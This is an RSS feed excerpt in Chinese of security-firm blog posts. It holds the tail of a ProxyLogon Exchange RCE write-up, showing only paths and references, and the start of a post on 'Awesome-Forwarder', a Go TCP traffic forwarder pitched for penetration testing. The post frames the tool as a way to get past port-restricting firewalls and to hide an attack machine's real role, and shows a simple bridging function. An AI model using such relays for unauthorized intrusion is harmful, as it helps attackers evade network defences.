left;"><span style="box-sizing: border-box;font-size: 14px;">[IIS Install Path]\aspnet_client\</span></p><p cid="n126" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">[IIS Install Path]\aspnet_client\system_web\</span></p><p cid="n127" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">及其他iis web目录</span></p><p cid="n128" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">RCE:</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="248" data-backw="528" data-galleryid="" data-ratio="0.47017543859649125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1140" src="https://wechat2rss.xlab.app/img-proxy/?k=e6f3fe94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQ4MfB71VfhM2N1AISfaN5U7cmCCPFqAeuF4oGvuOwatOkUeTOZEmasw%2F640%3Fwx_fmt%3Dpng"/></p></section></section></section></section></section></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section><section data-tools="135编辑器" data-id="99864" data-color="#757576"><section style="margin: 10px auto;"><section style="border-width: 5px;border-style: solid;border-color: rgb(117, 117, 118);box-sizing: border-box;"><section style="box-sizing: border-box;"><section style="text-align: center;margin-top: 20px;"><section data-brushtype="text" style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;padding: 10px 2em;color: #ffffff;background: #757576;border-top-left-radius: 15px;border-top-right-radius: 15px;border-bottom-right-radius: 15px;"><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>参考</strong></span></section></section><section style="padding: 25px 20px;box-sizing: border-box;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><ul class="list-paddingleft-2" cid="n131" mdtype="list" data-mark="*" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p cid="n133" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;word-break: break-all;font-size: 14px;"><a href="https://paper.seebug.org/1501/" target="_blank">https://paper.seebug.org/1501/</a></span></p></li><li><p cid="n135" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;word-break: break-all;font-size: 14px;"><a href="https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019#client-access-protocol-architecture" target="_blank">https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019#client-access-protocol-architecture</a></span></p></li><li><p cid="n137" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;word-break: break-all;font-size: 14px;"><a href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/" target="_blank">https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/</a></span></p></li><li><p cid="n139" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;word-break: break-all;font-size: 14px;"><a href="https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265" target="_blank">https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265</a></span></p></li><li><p cid="n141" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;word-break: break-all;font-size: 14px;"><a href="https://techcommunity.microsoft.com/t5/exchange-team-blog/understanding-how-outlook-cdo-mapi-and-providers-work-together/ba-p/609411" target="_blank">https://techcommunity.microsoft.com/t5/exchange-team-blog/understanding-how-outlook-cdo-mapi-and-providers-work-together/ba-p/609411</a></span></p></li></ul></section></section></section></section></section></section><section data-role="paragraph" data-color="#757576"><p><br/></p></section></section><p><br/></p>



<p><a href="2247484235">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e620a82c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484235%26idx%3D1%26sn%3Da6a85102eb0b865e2e0cc263b4d81e41%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 21 Apr 2021 12:38:00 +0800</pubDate>
    </item>
    <item>
      <title>Awesome-Forwarder开发实战</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484205&amp;idx=1&amp;sn=336004c9cbb8b554522c283ce9517192</link>
      <description>Awesome-Forwarder开发实战~</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2021-04-15 19:23</span> <span style="display: inline-block;"></span>
</p>

<p>Awesome-Forwarder开发实战~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f753a23c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjww1pWIksdwIN4wCcsB22ziayJLD3tqwY4SXicp5QER70dbeORd6OHe4g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-role="paragraph"><section data-tools="135编辑器" data-id="101754"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: inline-block;border-bottom: 1px solid rgb(183, 144, 103);padding-right: 45px;padding-left: 45px;box-sizing: border-box;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 16px;height: 18px;margin-top: 3px;"><img data-ratio="1.0300429184549356" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="932" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c7455edd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjbvKiadPibfXeotL7wk1BBK1RS5FlAVPiaDTPya1QDQ4FnmCsOdz0tibzTA%2F640%3Fwx_fmt%3Dgif"/></section><section data-brushtype="text" style="display: inline-block;padding: 5px 10px;font-size: 16px;line-height: 1.75em;letter-spacing: 1.5px;color: rgb(183, 144, 103);box-sizing: border-box;" hm_fix="327:583"><span style="font-size: 20px;"><strong>Awesome-Forwarder开发实战</strong></span></section><section style="box-sizing:border-box;width: 16px;height: 18px;margin-top: 3px;"><strong><img data-ratio="1.0300429184549356" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="932" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c7455edd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjbvKiadPibfXeotL7wk1BBK1RS5FlAVPiaDTPya1QDQ4FnmCsOdz0tibzTA%2F640%3Fwx_fmt%3Dgif"/></strong></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;padding-top: 5px;padding-bottom: 5px;color: rgb(183, 144, 103);box-sizing: border-box;"><p><span style="font-size: 20px;"><strong>零鉴科技</strong></span></p><p style="font-size: 24px;"><br/></p><p><br/></p></section></section></section><section data-tools="135编辑器" data-id="101744"><section style="box-sizing: border-box;width: 100%;padding-bottom: 10px;padding-top: 24px;" data-width="100%"><section style="display: flex;justify-content: center;align-items: flex-end;"><section><section style="display: flex;justify-content: flex-end;margin-right: 20px;"><section><section data-brushtype="text" style="box-sizing: border-box;margin-right: 6px;font-size: 16px;font-weight: bold;line-height: 35px;width: 35px;text-align: center;color: rgb(171, 137, 107);border-width: 1px;border-style: solid;border-color: rgb(171, 137, 107);border-radius: 50%;"><span style="font-size: 20px;color: #974806;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">初</span></strong></span></section></section><section><section data-brushtype="text" style="box-sizing: border-box;margin-right: 6px;font-size: 16px;font-weight: bold;line-height: 35px;width: 35px;text-align: center;color: rgb(171, 137, 107);border-width: 1px;border-style: solid;border-color: rgb(171, 137, 107);border-radius: 50%;"><span style="font-size: 20px;color: #974806;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">衷</span></strong></span></section></section></section><section style="box-sizing: border-box;width: 80px;height: 70px;border-top: 1px solid rgb(162, 127, 97);border-right: 1px solid rgb(162, 127, 97);border-left: 1px solid rgb(162, 127, 97);border-bottom: transparent;margin-top: -55px;margin-left: 16px;text-indent: -9999px;color: rgb(255, 255, 255);"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">上矩形</span></section><section style="background-color: #fbf8f2;"><section style="display: flex;flex: 1 1 0%;margin-left: 16px;border-left: 1px solid rgb(171, 137, 107);box-sizing: border-box;"><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(171, 137, 107);padding: 16px 24px;flex: 1 1 0%;box-sizing: border-box;" hm_fix="403:715"><p cid="n3" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在实战的过程中，总会遇到防火墙或者一些策略的限制，导致目标机器只放行80，443等特定端口的流量，此时若没有闲置的服务器作为攻击机的话，往往则需要调整当前的服务或者新开一台服务器，这会给渗透工作带来很多额外的操作。</span></p><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">如果有一个根据ip来转发流量的工具，对外只暴露所需的端口，后续流量都由转发工具进行转发，那么既能够满足只出特定端口的需求，同时也可以较好地隐藏机器的真实功能。</span></p></section></section></section></section></section><section style="box-sizing: border-box;width: 80px;height: 20px;border-right: 1px solid rgb(162, 127, 97);border-bottom: 1px solid rgb(162, 127, 97);border-left: 1px solid rgb(162, 127, 97);border-top: transparent;margin-left: 16px;text-indent: -9999px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101747"><section style="margin-top: 10px;margin-bottom: 10px;text-align: left;"><section style="display: flex;justify-content: left;align-items: center;margin-left: 10px;"><section style="box-sizing:border-box;width: 30px;"><img data-ratio="0.41089108910891087" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="404" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ea5f6a37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjs1rRGvfuKtO2loQOvsfzWAqdvE5BfI8icV9BXicmvEu0mOa3z5JnDxqQ%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;margin-top: 10px;"><section style="margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing: border-box;"><section style="border-right: 1px solid rgb(196, 164, 130);box-sizing: border-box;"><section style="display: flex;justify-content: center;align-items: flex-end;"><section style="flex: 1;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1px;padding: 1em 15px;color: rgb(171, 137, 107);border-left: 1px solid rgb(196, 164, 130);margin-top: 0em;margin-bottom: 0em;margin-left: 10px;text-align: center;box-sizing: border-box;"><strong><span style="color: rgb(151, 72, 6);font-size: 20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">简介</span></strong></section><section style="background: #fbf8f2;padding-left: 10px;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(171, 137, 107);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2em 1em;border-left: 1px solid rgb(196, 164, 130);text-align: justify;"><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Awesome-Forwarder是一个轻量级的流量转发工具，能够根据特定的ip或者网段来转发流量，并支持以配置文件的形式导入路由表。</span></p><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">基于golang编写的Awesome-Forwarder可以很好的兼容各个平台，能够保证高并发率以及高效率。</span></p></section></section></section><section style="box-sizing: border-box;width: 10px;height: 1px;background: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section><section style="display: flex;justify-content: flex-end;align-items: flex-end;margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section></section><section style="margin-right: 10px;"><section style="box-sizing: border-box;width: 100%;height: 10px;background: rgb(251, 248, 242);overflow: hidden;" data-width="100%"><br/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101747"><section style="margin-top: 10px;margin-bottom: 10px;text-align: left;"><section style="display: flex;justify-content: left;align-items: center;margin-left: 10px;"><section style="box-sizing:border-box;width: 30px;"><img data-ratio="0.41089108910891087" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="404" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ea5f6a37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjs1rRGvfuKtO2loQOvsfzWAqdvE5BfI8icV9BXicmvEu0mOa3z5JnDxqQ%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;margin-top: 10px;"><section style="margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing: border-box;"><section style="border-right: 1px solid rgb(196, 164, 130);box-sizing: border-box;"><section style="display: flex;justify-content: center;align-items: flex-end;"><section style="flex: 1;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1px;padding: 1em 15px;color: rgb(171, 137, 107);border-left: 1px solid rgb(196, 164, 130);margin-top: 0em;margin-bottom: 0em;margin-left: 10px;text-align: center;box-sizing: border-box;"><span style="font-size: 20px;color: #974806;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">特点功能</span></strong></span></section><section style="background: #fbf8f2;padding-left: 10px;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(171, 137, 107);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2em 1em;border-left: 1px solid rgb(196, 164, 130);text-align: justify;"><p cid="n9" mdtype="paragraph"><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.根据ip或者网段进行流量转发。</span></p><p cid="n11" mdtype="paragraph"><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.热加载，这意味着你可以在运行时实时修改配置文件。</span></p><p cid="n13" mdtype="paragraph"><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.静默模式。</span></p><p cid="n15" mdtype="paragraph"><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">4.自动日志转储和压缩。</span></p><p cid="n17" mdtype="paragraph"><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">5.每六小时自动存储状态信息。</span></p><p cid="n19" mdtype="paragraph"><span style="color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">6.在控制台中，通过输入&#34;conn&#34;来获取当前连接的状态，输入&#34;routes&#34;来获取当前路由信息。</span></p></section></section></section><section style="box-sizing: border-box;width: 10px;height: 1px;background: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section><section style="display: flex;justify-content: flex-end;align-items: flex-end;margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section></section><section style="margin-right: 10px;"><section style="box-sizing: border-box;width: 100%;height: 10px;background: rgb(251, 248, 242);overflow: hidden;" data-width="100%"><br/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101751"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;display: flex;flex-direction: column;place-content: center;"><section style="font-size: 50px;line-height: 55px;font-weight: 900;color: rgb(249, 245, 236);" hm_fix="389:513"><br/></section><section style="display: inline-flex;margin-top: -45px;margin-right: auto;margin-left: auto;align-items: center;transform: translateX(-10px);"><section style="box-sizing:border-box;text-indent: -9999px;color: #ffffff;width: 5px;height: 40px;border-top: 1px solid #b79067;border-left: 1px solid #b79067;border-bottom: 1px solid #b79067;transform: translateX(10px);-webkit-transform: translateX(10px);-moz-transform: translateX(10px);-ms-transform: translateX(10px);-o-transform: translateX(10px);">左中括号</section><section data-brushtype="text" style="display: inline-block;font-size: 16px;line-height: 1.75em;letter-spacing: 1.5px;padding-right: 20px;padding-left: 20px;color: rgb(171, 137, 107);box-sizing: border-box;"><strong><span style="font-size: 20px;color: #974806;">项目框架</span></strong></section><section style="box-sizing:border-box;text-indent: -9999px;color: #ffffff;width: 5px;height: 40px;border-top: 1px solid #b79067;border-right: 1px solid #b79067;border-bottom: 1px solid #b79067;margin-left: -10px;">左中括号</section></section></section></section><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><img data-ratio="0.35575221238938054" style="box-sizing:border-box;width:&#34;auto&#34;;" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=c56eb5e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjSOicgpUpKKZ7AOPXeoDPWdgcJkspOgZJOfbAvicyMD3VgsYrBcV4zRdg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><section data-tools="135编辑器" data-id="101747"><section style="margin-top: 10px;margin-bottom: 10px;text-align: left;"><section style="display: flex;justify-content: left;align-items: center;margin-left: 10px;"><section style="box-sizing:border-box;width: 30px;"><img data-ratio="0.41089108910891087" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="404" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ea5f6a37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeiafibDGp1nicLBjeeN6GSqcjs1rRGvfuKtO2loQOvsfzWAqdvE5BfI8icV9BXicmvEu0mOa3z5JnDxqQ%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;margin-top: 10px;"><section style="margin-left: 10px;"><section style="box-sizing: border-box;width: 100%;height: 1px;background: rgb(196, 164, 130);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing: border-box;"><section style="border-right: 1px solid rgb(196, 164, 130);box-sizing: border-box;"><section style="display: flex;justify-content: center;align-items: flex-end;"><section style="flex: 1;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1px;padding: 1em 15px;color: rgb(171, 137, 107);border-left: 1px solid rgb(196, 164, 130);margin-top: 0em;margin-bottom: 0em;margin-left: 10px;text-align: center;box-sizing: border-box;"><span style="font-size: 20px;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">核心代码</span></strong></span></section><section style="background: #fbf8f2;padding-left: 10px;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(171, 137, 107);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding: 2em 1em;border-left: 1px solid rgb(196, 164, 130);text-align: justify;" data-role="list"><section data-role="list"><p hm_fix="338:349"><span style="font-size: 17px;"><strong><span style="font-size: 17px;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.流量转发</span></strong></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">forwardPacket</span><span class="code-snippet__params">(conn net.Conn, dest <span class="code-snippet__keyword">string</span>, belong <span class="code-snippet__keyword">string</span>)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">var</span> target net.Conn</span></code><code><span class="code-snippet_outer">  target, err := net.Dial(<span class="code-snippet__string">&#34;tcp&#34;</span>, dest)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">defer</span> target.Close() </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//...</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// io bridge</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">go</span> tcpBridge(conn, target)</span></code><code><span class="code-snippet_outer">  tcpBridge(target, conn)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">tcpBridge</span><span class="code-snippet__params">(a, b net.Conn)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">defer</span> <span class="code-snippet__function"><span class="code-snippet__keyword">func</span><span class="code-snippet__params">()</span></span> {</span></code><code><span class="code-snippet_outer">    a.Close()</span></code><code><span class="code-snippet_outer">    b.Close()</span></code><code><span class="code-snippet_outer">  }()</span></code><code><span class="code-snippet_outer">  buf := <span class="code-snippet__built_in">make</span>([]<span class="code-snippet__keyword">byte</span>, <span class="code-snippet__number">2048</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> {</span></code><code><span class="code-snippet_outer">    n, err := a.Read(buf)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    b.Write(buf[:n])</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section></section><p hm_fix="338:349"><span style="orphans: 4;white-space: pre-wrap;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Forwarder在此承担一个双向通信的角色，分别向来源端和目标端建立连接，并将发送来的数据包转发给目标端，将目标返回的数据包返回给来源端。这样的实现方式得益于golang中优雅的io Reader和Writer，通过这两个接口，程序可以以流的方式高效处理数据，而不用考虑数据是什么，数据来自哪里，以及数据要发送到哪里的问题，开发者仅仅需要将数据往里面写（Writer）和读数据（Reader）即可。</span></p><p hm_fix="338:349"><br/></p><p hm_fix="338:349"><br/></p><p hm_fix="338:349"><strong><span style="color: rgb(0, 0, 0);font-family: 